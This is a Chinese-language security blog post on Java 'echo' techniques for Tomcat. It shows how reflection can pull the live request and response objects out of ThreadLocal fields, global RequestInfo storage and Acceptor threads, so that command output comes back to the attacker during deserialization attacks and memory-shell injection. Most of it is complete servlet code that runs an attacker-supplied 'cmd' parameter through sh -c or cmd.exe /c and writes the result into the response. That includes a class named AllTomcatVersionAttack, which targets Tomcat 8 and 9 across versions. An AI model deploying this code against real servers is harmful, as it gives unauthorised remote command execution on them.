java回显技术
所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象。
通过JSP文件来注入的内存马,由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。那如果我们要通过反序列化漏洞来注入内存马,又如何获取到目标JVM的request和response对象呢?
ThreadLocal Response回显
Kingkk 师傅提出的 “Tomcat中一种半通用回显方法”。原文链接:Tomcat中一种半通用回显方法 - 先知社区 (aliyun.com)
分析
首先,我们应该关注的是,所需的 request 对象必须是与当前线程的 ThreadLocal 相关,而不是一个全局的变量。这样才能确保我们能够获取当前线程的信息。最终,在 org.apache.catalina.core.ApplicationFilterChain 类中,我们会发现两个静态属性:lastServicedRequest 和 lastServicedResponse。由于是静态变量,因此,访问这些属性时,无需创建实例。

在ApplicationFilterChain#internalDoFilter中,Tomcat会有一段将request对象和response对象存储到这两个变量中的操作。

Tomcat在处理我们的Servlet以及SpringBoot处理Controller逻辑之前,都会来到ApplicationFilterChain#internalDoFilter中,只要我们让 ApplicationDispatcher.WRAP_SAME_OBJECT的值为true,就可以将request和response存储到这两个变量中。
虽然此时的ApplicationDispatcher.WRAP_SAME_OBJECT为false,但是我们后续可以通过反射修改。
可以总结思路如下
- 反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT的值,通过ThreadLocal#set方法将request和response对象存储到变量中 
- 初始化
lastServicedRequest和lastServicedResponse两个变量,默认为null 
- 通过
ThreadLocal#get方法将request和response对象从*lastServicedRequest和lastServicedResponse*中取出 
编写Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
   | package cmisl;
  import org.apache.catalina.core.ApplicationFilterChain;
  import javax.servlet.ServletRequest; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.lang.reflect.Modifier;
  @WebServlet("/echo") public class Tomcat_Echo extends HttpServlet {     @Override     protected void doGet(HttpServletRequest req, HttpServletResponse resp) {         try {                          Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");             Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");             Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
                           java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");             modifiersField.setAccessible(true);             modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);             modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);             modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);             WRAP_SAME_OBJECT_FIELD.setAccessible(true);             lastServicedRequestField.setAccessible(true);             lastServicedResponseField.setAccessible(true);
                           if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {                 WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);             }
              if (lastServicedRequestField.get(null) == null) {                 lastServicedRequestField.set(null, new ThreadLocal<>());             }
              if (lastServicedResponseField.get(null) == null) {                 lastServicedResponseField.set(null, new ThreadLocal<>());             }
                           if (lastServicedRequestField.get(null) != null) {                 ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);                 ServletRequest servletRequest = (ServletRequest) threadLocal.get();                 System.out.println(servletRequest);                 System.out.println((HttpServletRequest) servletRequest == req);
              }         } catch (Exception e) {
          }     } }
   | 
 
我们这里断点需要在第二次请求的时候断下来。因为第一次ApplicationDispatcher.WRAP_SAME_OBJECT为false,无法进入ThreadLocal#set方法将request和response对象存储到变量中。所以需要第一次请求反射将判断修改为true。第二次才能从ThreadLocal中获取request和response。

命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
   | package cmisl;
  import org.apache.catalina.core.ApplicationFilterChain;
  import javax.servlet.Servlet; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.Scanner;
  @WebServlet("/exec") public class Tomcat_Exec extends HttpServlet {     @Override     protected void doGet(HttpServletRequest req, HttpServletResponse resp) {         try {                          Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");             Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");             Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
                           java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");             modifiersField.setAccessible(true);             modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);             modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);             modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);             WRAP_SAME_OBJECT_FIELD.setAccessible(true);             lastServicedRequestField.setAccessible(true);             lastServicedResponseField.setAccessible(true);
                           if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {                 WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);             }
              if (lastServicedRequestField.get(null) == null) {                 lastServicedRequestField.set(null, new ThreadLocal<>());             }
              if (lastServicedResponseField.get(null) == null) {                 lastServicedResponseField.set(null, new ThreadLocal<>());             }
              ServletRequest servletRequest=null;             ServletResponse servletResponse=null;
                           if (lastServicedRequestField.get(null) != null) {                 ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);                 servletRequest = (ServletRequest) threadLocal.get();             }
                           if (lastServicedResponseField.get(null) != null) {                 ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);                 servletResponse = (ServletResponse) threadLocal.get();             }
 
              String cmd = servletRequest.getParameter("cmd");             servletResponse.setCharacterEncoding("GBK");             if(cmd!=null) {                                  boolean isLinux = true;                 String osTyp = System.getProperty("os.name");                 if (osTyp != null && osTyp.toLowerCase().contains("win")){                     isLinux = false;                 }                                  String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd};                                  InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();                 Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");                 String output = s.hasNext() ? s.next() : "";                                  servletResponse.getWriter().write(output);                 servletResponse.getWriter().flush();                 servletResponse.getWriter().close();
          } }catch (Exception e) {
          }     } }
   | 
 

回显报错(getWriter重复使用报错)
别的师傅那看到的,自己并未遇到。如果遇到可以参考原文Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)
在使用response的getWriter函数时,usingWriter 变量就会被设置为true。如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错
报错内容如下,getWriter已经被调用过一次
1
   | >java.lang.IllegalStateException: getWriter() has already been called for this response
   | 
 
这时候有两种解决办法:
- 在调用完一次
getWriter反射修改usingWriter的值为false 
- 使用
getOutputStream代替 
局限性
如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。触发Shiro漏洞漏洞的时候,我们还未能将request和response储存到ThreadLocal中。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | if (pos < n) {     ApplicationFilterConfig filterConfig = filters[pos++];     try {         Filter filter = filterConfig.getFilter();         ...          filter.doFilter(request, response, this);     } catch (...)         ...     } } try {     if (ApplicationDispatcher.WRAP_SAME_OBJECT) {         lastServicedRequest.set(request);         lastServicedResponse.set(response);     }     if (...){         ...     } else {         servlet.service(request, response);     } } catch (...) {     ... } finally {     ... }
  | 
 
通过全局存储Response回显
Litch1师傅的一种思路。原文链接:基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)
在Java Web开发中,Servlet容器是核心组件,许多框架在其基础上做了不同程度的封装。这使得因为不同框架或不同版本的实现差异,很难找到一种通用的方法来获取回显信息。例如,上文使用 ThreadLocal 类在 Shiro 框架中获取回显的方法可能无效。
因此,我们或许可以从另一个角度入手,尝试在 Tomcat 中寻找全局存储的 Request 和 Response 对象。为了实现回显功能,这些 Request 和 Response 对象必须属于当前执行的线程。因此,关键在于找到当前代码运行的上下文与Tomcat的运行上下文之间的关联。
分析
我们可以看一下调用栈,追踪response,我们可以找到org.apache.catalina.connector.CoyoteAdapter的service方法。当前response的hash值和我们在doGet方法中HttpServletResponse的response一样。

而这个response来自于org.apache.coyote.http11.Http11Processor的this.response,经过一些setter和getter方法调整得来的。而org.apache.coyote.http11.Http11Processor的this.response其实并非是他本身的,而是来自org.apache.coyote.AbstractProcessor的this.response。

调用堆栈如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | doGet:22, Tomcat_Exec (cmisl) service:529, HttpServlet (javax.servlet.http) service:623, HttpServlet (javax.servlet.http) internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilter:51, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:168, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:481, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:670, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:342, CoyoteAdapter (org.apache.catalina.connector) service:390, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
   | 
 
这时候已经有了request,response,接下来往前寻找有没有哪里存储了这个Processor?或者是哪里对于Processor的Request等信息进行了存储?可以发现在之前的调用链中的AbstractProtocol的内部类ConnectionHandler中在处理的时候就将当前的Processor(即后面的Http11Processor)的信息通过register方法存储在了global中。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | protected void register(Processor processor) {     if (this.getProtocol().getDomain() != null) {         synchronized(this) {             try {                 long count = this.registerCount.incrementAndGet();                                   RequestInfo rp = processor.getRequest().getRequestProcessor();                                  rp.setGlobalProcessor(this.global);                 ......                 } 			......             } catch (Exception var8) {              ......             }         }     } }
 
  | 
 
详细来说,就是获取Http11Processor的Request的RequestInfo变量,而RequestInfo变量里又有Request本身,获取RequestInfo之后rp.setGlobalProcessor(this.global)方法里把这个RequestInfo添加到global这个变量里面。
那么我们获取了global就相当于获取了RequestInfo,通过RequestInfo又可以获取包含它的Request。那么Response又怎么获取呢?其实Response可以从Request中获取,因为在我们Http11Processor初始化的时候,就会在调用父类AbstractProcessor初始化函数过程中,把request设置了参数response。

至此我们的调用链如下
1
   | AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response
   | 
 
现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,继续看调用链。在CoyoteAdapter类中,存在一个connector属性。我们来看Connector类的定义,存在和AbstractProtocol相关的protocolHandler属性,该属性的值为一个Http11NioProtocol对象,并且该类继承了AbstractProtocol类

此时我们的调用链变成如下
1
   | Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response
   | 
 
下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector,并且调用addaddConnector方法存放在connectors中


那么现在的获取链变成了
1
   | StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
   | 
 
connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象,而不是新创建的对象。
如何获取StandardService
Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。
**那么如何破坏Java原有的类加载机制呢?如果上层的ClassLoader需要调用下层的ClassLoader怎么办呢?**就需要使用Thread Context ClassLoader,线程上下文类加载器。Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
说了那么多,其实WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。
我们debug看看Thread.currentThread().getContextClassLoader()里面都有啥东西,这里只要稍微搜寻一下就会发现有很多Tomcat有关的运行信息。我们只要寻找我们上文提到的需要的Service就可以了。

最后的路径:
WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response。
命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
   | package cmisl;
  import org.apache.catalina.connector.Connector; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.*; import org.apache.tomcat.util.net.AbstractEndpoint;
  import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.List; import java.util.Scanner;
  @WebServlet("/echo")  public class Tomcat_Echo extends HttpServlet {     @Override     protected void doGet(HttpServletRequest req, HttpServletResponse resp) {         try {                          WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();                          StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
                           Field ApplicationContext_Field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");             ApplicationContext_Field.setAccessible(true);             ApplicationContext applicationContext = (ApplicationContext) ApplicationContext_Field.get(standardContext);
                           Field StandardService_Field = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");             StandardService_Field.setAccessible(true);             StandardService standardService = (StandardService) StandardService_Field.get(applicationContext);
                           Field connectors_Field = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");             connectors_Field.setAccessible(true);             Connector[] connectors = (Connector[]) connectors_Field.get(standardService);             Connector connector = connectors[0]; 
                           ProtocolHandler protocolHandler = connector.getProtocolHandler();                          Field handler_Field = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");             handler_Field.setAccessible(true);             AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handler_Field.get(protocolHandler);
                           RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal();                          Field processors_Field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");             processors_Field.setAccessible(true);             List<RequestInfo> requestInfos = (List<RequestInfo>) processors_Field.get(global);
                           for (RequestInfo requestInfo : requestInfos) {                                  Field req_Field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");                 req_Field.setAccessible(true);                 org.apache.coyote.Request request = (org.apache.coyote.Request) req_Field.get(requestInfo);
                                   org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);                 org.apache.catalina.connector.Response http_response = http_request.getResponse();
                                   String cmd = http_request.getParameter("cmd");                 http_response.setCharacterEncoding("GBK");                 if (cmd != null) {                                          boolean isLinux = true;                     String osTyp = System.getProperty("os.name");                     if (osTyp != null && osTyp.toLowerCase().contains("win")) {                         isLinux = false;                     }                                          String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};                                          InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();                     Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");                     String output = s.hasNext() ? s.next() : "";                                          http_response.getWriter().write(output);                     http_response.getWriter().flush();                     http_response.getWriter().close();
                  }             }         } catch (NoSuchFieldException e) {             throw new RuntimeException(e);         } catch (ClassNotFoundException e) {             throw new RuntimeException(e);         } catch (IllegalAccessException e) {             throw new RuntimeException(e);         } catch (IOException e) {             throw new RuntimeException(e);         }     } }
 
   | 
 
Tomcat版本问题
刚才在一开始获取Tomcat ClassLoader context提到这种方式只适用于Tomcat 8和9的低版本中,原因如下
可以看到高版本WebappClassLoaderBase#getResources方法,返回null。自然无法获取StandardService了。
高版本Tomcat 8和9

低版本Tomcat 8和9

通过NioEndpoint通杀Tomcat8和9的高低版本。具体参考Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)
言简意赅就是我们需要的AbstractProtocol$ConnectoinHandler属性的Handler也存在于NioEndpoint中。如果能获取到NioEn

通过Acceptor获取NioEndpoint
遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象。
1
   | Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
   | 
 
通过poller获取NioEndpoint
遍历线程,获取线程中的target属性,如果target属性是 NioEndpoint$Poller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocolConnectoinHandler。
1
   | Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response
   | 
 
通用版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
   | package cmisl;
  import org.apache.catalina.connector.Response; import org.apache.catalina.connector.ResponseFacade; import org.apache.coyote.RequestGroupInfo; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.net.AbstractEndpoint;
  import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field;
  import java.util.Scanner;
 
 
  @WebServlet("/AllTomcat") public class AllTomcatVersionAttack extends HttpServlet {     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
          try {                          ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();             Field threadsField =  ThreadGroup.class.getDeclaredField("threads");             threadsField.setAccessible(true);             Thread[] threads = (Thread[])threadsField.get(threadGroup);
              for(Thread thread:threads) {                 Field targetField = Thread.class.getDeclaredField("target");                 targetField.setAccessible(true);                 Object target  = targetField.get(thread);                 if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {                     Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");                     endpointField.setAccessible(true);                     Object endpoint = endpointField.get(target);                     Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");                     handlerField.setAccessible(true);                     Object handler = handlerField.get(endpoint);
                                           Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");                     globalField.setAccessible(true);                     RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
                                           Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");                     processors.setAccessible(true);                     java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);
 
                                           Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");                     reqField.setAccessible(true);                     for (RequestInfo requestInfo : RequestInfolist) {                         org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);                         org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);                         org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
                                                   String cmd = connectorRequest.getParameter("cmd");                         connectorResponse.setCharacterEncoding("GBK");                         
 
 
 
                                                   if (cmd != null) {                                                          boolean isLinux = true;                             String osTyp = System.getProperty("os.name");                             if (osTyp != null && osTyp.toLowerCase().contains("win")) {                                 isLinux = false;                             }                                                          String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};                                                          InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();                             Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");                             String output = s.hasNext() ? s.next() : "";                                                          connectorResponse.getWriter().write(output);                             connectorResponse.getWriter().flush();                             connectorResponse.getWriter().close();
                          }                     }                 }             }
          } catch (Exception e) {             e.printStackTrace();         }
      }
      protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {         this.doPost(request, response);     } }
   | 
 
Ref
Tomcat中一种半通用回显方法 - 先知社区 (aliyun.com)
Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)
Java安全学习——内存马 - 枫のBlog (goodapple.top)
基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)